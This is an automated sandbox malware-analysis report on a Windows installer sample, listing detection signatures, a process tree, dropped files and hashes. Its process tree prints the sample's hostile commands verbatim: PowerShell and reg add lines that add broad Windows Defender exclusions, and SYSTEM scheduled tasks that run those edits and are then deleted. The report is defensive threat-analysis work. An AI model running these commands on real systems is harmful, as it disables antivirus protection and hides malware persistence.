Analysis

  • max time kernel
    150s
  • max time network
    120s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 10:04

General

  • Target
    appinst_up012.exe
  • Size 37.3MB
  • Sample260815-l339lsvsbs
  • SHA256 aaecc91a4f4fcccc97d7096f832d953a61efbf6fd2e60576cad9fb7708fded83
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appinst_up012.exe
    "C:\Users\Admin\AppData\Local\Temp\appinst_up012.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2104
  • C:\Users\Public\S2YEb1\yVVxy4.exe
    "C:\Users\Public\S2YEb1\yVVxy4.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5368
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\S2YEb1\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1828
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\S2YEb1\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4952
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1120
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1780
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2460
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6336
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:6880
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4648
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:7008
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:6976
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:7052
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:940
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2772
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1140
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2936
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4820
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:7084
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3208
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:6620
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1260
                      • C:\Users\Public\S2YEb1\yVVxy4.exe
                        "C:\Users\Public\S2YEb1\yVVxy4.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4960
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\S2YEb1" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2240
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\S2YEb1" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:1536
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4852
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2520
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3424
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:6448
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4240
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4360
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5028

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\S2YEb1\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 5f3b39ddecd83db9942455f9799104c4e6ac7c84a4e661ba8fc591fb104fb211
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\S2YEb1\adoresd.dat
                              • Size 4.7MB
                              • SHA256 652e3040b08a46cd6a3fdf8b5601ae8a0b70e1cc07c8bf294abd7e0dec1f32c4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\S2YEb1\msadox.tb
                              • Size 8KB
                              • SHA256 3b489e028b81319b1ed76c7224473d8f9a934076b2a6ef077b4e204b46ac57d2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              yVVxy4.exe

                              • Path C:\Users\Public\S2YEb1\yVVxy4.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2104-1-0x00000000004C0000-0x00000000004CE000-memory.dmp

                              memory/2104-2-0x00000000004E0000-0x00000000004EC000-memory.dmp

                              memory/2104-504-0x00007FF8CA330000-0x00007FF8CA342000-memory.dmp

                              memory/2104-524-0x00000000004C0000-0x00000000004CE000-memory.dmp

                              memory/2104-525-0x00007FF8CA330000-0x00007FF8CA342000-memory.dmp

                              memory/2104-0-0x00000000004C0000-0x00000000004CE000-memory.dmp

                              memory/4800-556-0x00000256FA890000-0x00000256FA8DE000-memory.dmp

                              memory/4800-567-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4800-536-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4800-538-0x00007FF8D2560000-0x00007FF8D2562000-memory.dmp

                              memory/4800-539-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4800-543-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4800-545-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4800-544-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4800-546-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4800-550-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4800-530-0x00007FF8D2550000-0x00007FF8D2552000-memory.dmp

                              memory/4800-557-0x00000256FBC30000-0x00000256FBCBA000-memory.dmp

                              memory/4800-561-0x00000256FBC30000-0x00000256FBCBA000-memory.dmp

                              memory/4800-560-0x00000256FBC30000-0x00000256FBCBA000-memory.dmp

                              memory/4800-559-0x00000256FBC30000-0x00000256FBCBA000-memory.dmp

                              memory/4800-564-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4800-566-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4800-531-0x00007FF8B0D20000-0x00007FF8B123E000-memory.dmp

                              memory/4800-603-0x00000256FB3A0000-0x00000256FBC27000-memory.dmp

                              memory/4960-584-0x000002771B130000-0x000002771B9B7000-memory.dmp

                              memory/4960-573-0x00007FF8B0D20000-0x00007FF8B123E000-memory.dmp

                              memory/4960-580-0x000002771B130000-0x000002771B9B7000-memory.dmp

                              memory/4960-586-0x000002771B130000-0x000002771B9B7000-memory.dmp

                              memory/4960-585-0x000002771B130000-0x000002771B9B7000-memory.dmp

                              memory/4960-587-0x00007FF8D2550000-0x00007FF8D2552000-memory.dmp

                              memory/4960-583-0x000002771B130000-0x000002771B9B7000-memory.dmp

                              memory/4960-576-0x000002771B130000-0x000002771B9B7000-memory.dmp

                              memory/4960-578-0x00007FF8D2560000-0x00007FF8D2562000-memory.dmp

                              memory/5368-608-0x0000024D7ECC0000-0x0000024D7ECCA000-memory.dmp

                              memory/5368-606-0x0000024D7ECD0000-0x0000024D7ECEE000-memory.dmp

                              memory/5368-607-0x0000024D7ECF0000-0x0000024D7EDA2000-memory.dmp

                              memory/5368-601-0x0000024D7EC80000-0x0000024D7ECA2000-memory.dmp

                              memory/5368-610-0x0000024D7F2A0000-0x0000024D7F390000-memory.dmp